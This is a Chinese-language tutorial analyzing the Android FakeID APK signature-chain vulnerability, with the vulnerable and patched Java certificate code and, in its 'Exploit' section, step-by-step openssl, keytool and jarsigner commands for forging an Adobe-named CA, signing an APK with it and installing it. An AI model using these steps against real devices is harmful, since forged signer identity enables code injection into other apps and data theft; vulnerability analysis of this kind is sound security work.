Android教程網
  1. 首頁
  2. Android 技術
  3. Android 手機
  4. Android 系統教程
  5. Android 游戲
 Android教程網 >> Android技術 >> 關於Android編程 >> Android FakeID(Google Bug 13678484) 漏洞詳解

Android FakeID(Google Bug 13678484) 漏洞詳解

編輯:關於Android編程

開始

繼上一次Masterkey漏洞之後,Bluebox在2014年7月30日又公布了一個關於APK簽名的漏洞——FakeID,並打算在今年的Blackhack上公布更詳細的細節,不過作者Jeff Forristal在文中已經給出了不少提示,另外申迪的《FakeID簽名漏洞分析及利用》也做了相關介紹。由於其中涉及的知識點較多,所以有部分朋友估計還沒有看明白,所以我打算寫一篇更詳細漏洞分析解說,希望對大家有幫助。

 

基礎概念

在分析之前,有幾個基礎概念需要普及一下的:

APK包中的MF、SF和RSA文件

完成簽名後的APK包中,會多出一個叫META-INF的文件夾,一般情況下會包含MANIFEST.MF、CERT.SF和CERT.RSA三個文件(在多證書簽名的情況下,就不止一個RSA文件): MF文件中包含APK的包信息,如manifest文件的版本、簽名版本、應用程序的相關屬性以及包中所有源文件的SHA1值。SF文件則是在MF文件的基礎上,采用SHA1withRSA簽名算法進行簽名的明文文件。RSA文件則是APK文件的簽名證書,這個文件是一個PEM格式保存的PKCS7公鑰證書,PKCS7證書一般會分開兩個文件,一個是公鑰證書,另一個則是私鑰證書,有PEM和DER兩種編碼方式。PEM比較常見,是純文件的形式,一般用於分發公鑰證書。 其中RSA文件,則是FakeID漏洞利用的關鍵,下面會詳細介紹。

證書鏈結構及認證原理

一般情況下,我們平時發布的Android應用都是采用自簽名的方式,所謂自簽名是指公鑰證書中Issuer(發布者)和Subject(所有者)是相同的,比如Adobe Flash Player的簽書信息如下所示:
所有者: CN=Adobe Systems Incorporated, OU=Information Systems, O=Adobe Systems Incorporated, L=San Jose, ST=California, C=US
發布者: CN=Adobe Systems Incorporated, OU=Information Systems, O=Adobe Systems Incorporated, L=San Jose, ST=California, C=US
序列號: d7cb412f75f4887e
有效期開始日期: Thu Oct 01 08:23:14 CST 2009, 截止日期: Mon Feb 16 08:23:14 CST 2037
除了通過自簽名的方式,我們還可以采用由CA頒發私鑰證書進行簽發。采用這種方式,最終APK中的公鑰證書中,就會包含證書鏈。這種方式跟簽名名的主要區別是最終的公鑰證書中,Issuer和Subject是不相同的,而且會存在多於一個證書,證書與證書之間是通過Issuer與Subject進行關聯的,Issuer負責對Subject進行認證,下面是證書的驗證示意圖:

判斷一個證書鏈是否有效,是一個遞歸的過程,下面是一個三級證書的驗證示意圖:

Android對APK的合法性驗證

前面說到,當APK是非自簽名時,APK中存在證書鏈。當安裝APK時,系統只會用位於鏈中最底層的證書對APK文件進行合法性和完整性校驗,但並不會驗證證書鏈的有效性。想象這麼一個情景: 開發機上生成一個根證書(記作CA),並用這個證書去頒發一個子證書(記作CLIENT);使用這個子證書對APK簽名,這時APK中的RSA文件將包含兩個證書,分別是CLIENT和CA,其中系統會使用CLIENT對APK文件進行檢驗;對這個RSA文件篡改,把CA修改為Adobe Flash Player的CA(記作FakeCA)。由於系統不會對證書鏈的合法性進行驗證,所以修改後APK,依然可以被正常安裝; 在Android上,要獲取APK的證書,可以通過PackageManager.getPackageInfo獲取,如下所示:
		PackageManager pm = getPackageManager();
		StringBuilder sb = new StringBuilder();

		try {
			PackageInfo info = pm.getPackageInfo(getPackageName(), PackageManager.GET_SIGNATURES);
			Signature[] sigs = info.signatures;

			for (Signature sig : sigs) {

				/*
				 * Get the X.509 certificate.
				 */
				final byte[] rawCert = sig.toByteArray();
				InputStream certStream = new ByteArrayInputStream(rawCert);

				final CertificateFactory certFactory;
				final X509Certificate x509Cert;

				try {
					certFactory = CertificateFactory.getInstance(X509);
					x509Cert = (X509Certificate) certFactory.generateCertificate(certStream);

					sb.append(Certificate subject:  + x509Cert.getSubjectDN() + 
);
					sb.append(Certificate issuer:  + x509Cert.getIssuerDN() + 
);
					sb.append(Certificate serial number:  + x509Cert.getSerialNumber() + 
);
					sb.append(

);
				} catch (CertificateException e) {
					// e.printStackTrace();
				}
			}

		} catch (NameNotFoundException e) {
			e.printStackTrace();
		}

通過上面的方式,可以達到讓APK被Adobe Flash Player官方認證的效果,如下是我自己做的一個FakeCA的DEMO,通過上面代碼打印如下所示:
Certificate subject: CN=簡行, OU=簡行之旅, O=簡行之旅, L=杭州, ST=浙江, C=CH
Certificate issuer: CN=Adobe Systems Incorporated, OU=Information Systems, O=Adobe Systems Incorporated, L=San Jose, ST=California, C=US
Certificate serial number: 13732529592366477909

Certificate subject: CN=Adobe Systems Incorporated, OU=Information Systems, O=Adobe Systems Incorporated, L=San Jose, ST=California, C=US
Certificate issuer: CN=Adobe Systems Incorporated, OU=Information Systems, O=Adobe Systems Incorporated, L=San Jose, ST=California, C=US
Certificate serial number: 15549593810524997758
看到這裡,相信有些朋友已經懂了,那麼下面的內容就可以不用看了,如果還是有疑問,那請耐心再往下看吧。

 

漏洞分析


Android上特權簽名

Abode Flash Player是Android中以一個WebViewPlugin的方式存在,所有使用WebView控件的應用,網頁只要使用了Flash都會加載該插件。下面是驗證一個插件是否為Abode Flash Playter插件的的合法性判斷代碼:
private static boolean containsPluginPermissionAndSignatures(PackageInfo pkgInfo) {
    // check if the plugin has the required permissions
    String permissions[] = pkgInfo.requestedPermissions;
    if (permissions == null) {
        return false;
    }
    boolean permissionOk = false;
    for (String permit : permissions) {
        if (PLUGIN_PERMISSION.equals(permit)) {
            permissionOk = true;
            break;
        }
    }
    if (!permissionOk) {
        return false;
    }

    // check to ensure the plugin is properly signed
    Signature signatures[] = pkgInfo.signatures;
    if (signatures == null) {
        return false;
    }
    if (SystemProperties.getBoolean(ro.secure, false)) {
        boolean signatureMatch = false;
        for (Signature signature : signatures) {
            for (int i = 0; i < SIGNATURES.length; i++) {
                if (SIGNATURES[i].equals(signature)) {
                    signatureMatch = true;
                    break;
                }
            }
        }
        if (!signatureMatch) {
            return false;
        }
    }

    return true;
}
從這段代碼,可以看到WebKit是這樣認證一個APK是否為Adobe FlashPlayer插件的: APK證書中是否包含Adobe簽名的證書,證書數據是寫死在代碼中的(PluginManager.SIGNATURE_1),這是Adobe使用的簽名APK申請了android.webkit.permission.PLUGIN權限APK聲明了一個服務,Intent是android.webkit.PLUGIN,有個meta信息是type,type的值必須是native。 通過前面的介紹,最關鍵第1點,我們已經實現的。 了解WebView插件的開發模式會比較清楚,WebPlugin都是以共享進程的方式直接加載到目標進程,這就達到了進程注入的效果。比如微信中,打開一個WebView加載Flash插件,通過FakeID漏洞,完全可以盜取微信中的所有數據,嘿嘿,想想都害怕。 除了Abode 這種HardCode簽名外,Android系統中還存在其他的類似的特權簽名,在此我直接引用BlueBox的原文:
”In another example, the application with the signature specified by the device’s nfc_access.xml file (usually the signature of the Google Wallet application) is allowed to access the NFC SE hardware. Both of these special signature privileges are hard coded into the Android base code (AOSP). On specific devices, applications with the signature of the device manufacture, or trusted third parties, are allowed to access the vendor-specific device administration (MDM) extensions that allow for silent management, configuration, and control of the device.“

多簽名認證

想把FakeID漏洞發揮到極致,我們可以對同一個APK進行多個證書簽名,前文也有所提及。這種情況下,META-INF文件夾下就會同時獲取多個RSA文件。這樣,我們就可以達到一個APK中,同時具備Adobe插件特權,NFC SE硬件控制特權等等,示意圖如下:

漏洞分析

產生FakeID漏洞的根本原因是因為安裝APK時,系統沒有對證書鏈進行合法性驗證,下面分析一下有漏洞的代碼。見JarUtils中的createChain和findCert兩個方法,createChain的作用是獲取APK中的證書鏈,findCert則是通過子證書的Issur,查找父證書,問題正是出在這個方法。見代碼:
private static X509Certificate findCert(Principal issuer, X509Certificate[] candidates) {
    for (int i = 0; i < candidates.length; i++) {
        if (issuer.equals(candidates[i].getSubjectDN())) {
            return candidates[i];
        }
    }
    return null;
}

留意代碼中的判斷邏輯,只要issuer跟遍歷的candidates[i].getSubjectDN()相等即可,這個equal只是簡單的做了字符串的對比,就直接認為這個是合法的證書,並返回來。 再看一下Fix後的代碼:
private static X509Certificate findCert(Principal issuer, X509Certificate[] candidates, X509Certificate subjectCert, boolean chainCheck) {
    for (int i = 0; i < candidates.length; i++) {
        if (issuer.equals(candidates[i].getSubjectDN())) {
            if (chainCheck) {
                try {
                    subjectCert.verify(candidates[i].getPublicKey());
                } catch (Exception e) {
                    continue;
                }
            }
            return candidates[i];
        }
    }
    return null;
}
Fix後的代碼,添加了subjectCert和chainCheck兩個參數,添加了證書鏈的驗證。

Exploit

通過前面的分析,這個漏洞利用起來就不難了,不過涉及的到命令比較復雜,在此我把整個過程也描述出來,方便大家學習。

 

自簽發CA權證書

openssl genrsa -out ca.key 4096openssl req -new -x509 -days 1826 -key ca.key -out ca.crt 在生成crt文件裡,需要注意,必須保證跟Abobe的字段一致,下面是我的例子:
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:California
Locality Name (eg, city) []:San Jose
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Adobe Systems Incorporated
Organizational Unit Name (eg, section) []:Information Systems
Common Name (e.g. server FQDN or YOUR name) []:Adobe Systems Incorporated
Email Address []:

生成Keystore

keytool -genkey -v -keystore clientkeystore -alias CLIENT -keyalg RSA -keysize 2048 -validity 10000 這裡自己隨便填寫即可,下面是我的例子:
輸入密鑰庫口令:
再次輸入新口令:
您的名字與姓氏是什麼?
  [Unknown]:  簡行
您的組織單位名稱是什麼?
  [Unknown]:  簡行之旅
您的組織名稱是什麼?
  [Unknown]:  簡行之旅
您所在的城市或區域名稱是什麼?
  [Unknown]:  杭州
您所在的省/市/自治區名稱是什麼?
  [Unknown]:  浙江
該單位的雙字母國家/地區代碼是什麼?
  [Unknown]:  CH
CN=簡行, OU=簡行之旅, O=簡行之旅, L=杭州, ST=浙江, C=CH是否正確?
  [否]:  y

輸入  的密鑰口令
	(如果和密鑰庫口令相同, 按回車):

產生CSR證書請求文件

keytool -keystore clientkeystore -certreq -keysize 2048 -alias CLIENT -keyalg RSA -file client.csr
這裡需要顯式指定keysize為2048,不然之後的簽名有可能說不兼容RSA

 

利用CA簽發CLIENT

openssl x509 -req -CA ca.crt -CAkey ca.key -in client.csr -out client.cer -days 10000 -CAcreateserial

 

導入CA根證書和CLIENT二級證書

keytool -import -keystore clientkeystore -file ca.crt -alias CA
keytool -import -keystore clientkeystore -file client.cer -alias CLIENT

 

利用CLIENT對APK文件進行簽名

jarsigner -keystore clientkeystore -sigalg SHA1withRSA -digestalg SHA1 test.apk CLIENT

 

最後利用我編寫的腳本完成FakeCA的修改

./fake_ca.shadb install out/test.apk 相關的代碼,我已經提交到https://github.com/boyliang/Android_FakeID_Exploit

 

總結

關於如何利用FakeID漏洞實現代碼注入,我認為申迪的報告裡,已經介紹得很詳細了,我也不多做介紹了。 Fake的危害性非常大,自Android2.1到4.4.1都受影響,信接下來的一段時間,會出現大量利用這個漏洞的木馬。相比於MasterKey漏洞,FakeID漏洞利用起來更容易,而且”系統兼容性“更好。當然要掃描出這類木馬也不難,通過代碼驗證一下證書鏈就可以了。

 

  1. 上一頁:
  2. 下一頁:
熱門文章
閱讀排行版
Copyright © Android教程網 All Rights Reserved